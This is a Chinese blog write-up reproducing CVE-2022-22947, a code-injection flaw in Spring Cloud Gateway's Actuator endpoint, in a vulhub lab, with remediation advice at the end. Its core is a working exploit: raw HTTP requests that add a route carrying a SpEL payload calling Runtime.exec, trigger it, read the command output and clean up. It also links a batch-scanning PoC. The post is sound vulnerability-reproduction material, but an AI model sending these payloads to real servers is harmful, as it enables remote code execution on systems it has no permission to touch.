Spring Cloud Gateway_CVE-2022-22947漏洞复现


漏洞描述

Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)发生在Spring Cloud Gateway应用程序的Actuator端点,其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执行任意远程执行的请求

影响版本

Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway < 3.0.7

漏洞复现

环境搭建

  1. dokcer pull vulhub/spring-cloud-gateway:3.1.0
  2. docker run -itd -p 5000:8080 --name spring vulhub/spring-cloud-gateway:3.1.0
  3. 最后访问http://ip:5000
    在这里插入图片描述

过程

  1. 添加一个spel表达式的路由,数据包如下
POST /actuator/gateway/routes/xd HTTP/1.1
Host: localhost:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Content-Type: application/json
Content-Length: 364

{
      "id": "xd",
      "filters": [{
        "name": "AddResponseHeader",
        "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"}
        }],
      "uri": "http://example.com",
      "order": 0
    }


在这里插入图片描述
2. 触发路由生效,数据包如下

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


在这里插入图片描述
3. 查看执行结果,数据包如下

GET /actuator/gateway/routes/xd HTTP/1.1
Host: localhost:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded


在这里插入图片描述
4. 清理路由,数据包如下

DELETE /actuator/gateway/routes/xd HTTP/1.1
Host: localhost:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


在这里插入图片描述
5. 重复2,使清除路由生效

批量url检测

github:https://github.com/Xd-tl/CVE-2022-22947-Rce_POC
要是能来一个星星那就更好了

漏洞修复

  1. 升级到安全版本
  2. 修改Spring配置,禁止访问Spring Cloud Gateway actuator端点

大家可以关注菜鸡的公众号,有什么好想法也可以让我学习一下,有什么问题可以一块解决,由于二维码违规,下面是base64编码的文字

5b6u5L+h5YWs5LyX5Y+34oCc5a6J5YWo5re35a2Q4oCd77yM5Y+v5Lul55So5b6u5L+h5pCc5LiA5pCc77yM5q2j5Zyo5a6M5ZaE5LitLi4uLi4u

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
根据引用\[1\]和引用\[2\]的信息,CVE-2022-22947漏洞Spring Cloud Gateway中的一处命令注入漏洞。攻击者可以通过利用此漏洞执行SpEL表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。具体来说,当使用Spring Cloud Gateway的应用程序对外暴露了Gateway Actuator接口时,攻击者可以发送恶意请求,利用漏洞进行代码注入攻击,从而在远程主机上执行任意远程代码。这个漏洞的影响范围包括Spring Cloud Gateway 3.1.x < 3.1.1和Spring Cloud Gateway 3.0.x < 3.0.7版本,以及其他旧的、不受支持的Spring Cloud Gateway版本。\[1\]\[2\] #### 引用[.reference_title] - *1* *2* [Spring Cloud Gateway RCE漏洞原理分析与复现CVE-2022-22947)](https://blog.csdn.net/qq_49619863/article/details/127350543)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CVE-2022-22947 Spring Cloud Gateway 远程代码执行漏洞复现](https://blog.csdn.net/weixin_45260839/article/details/124650584)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全混子

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值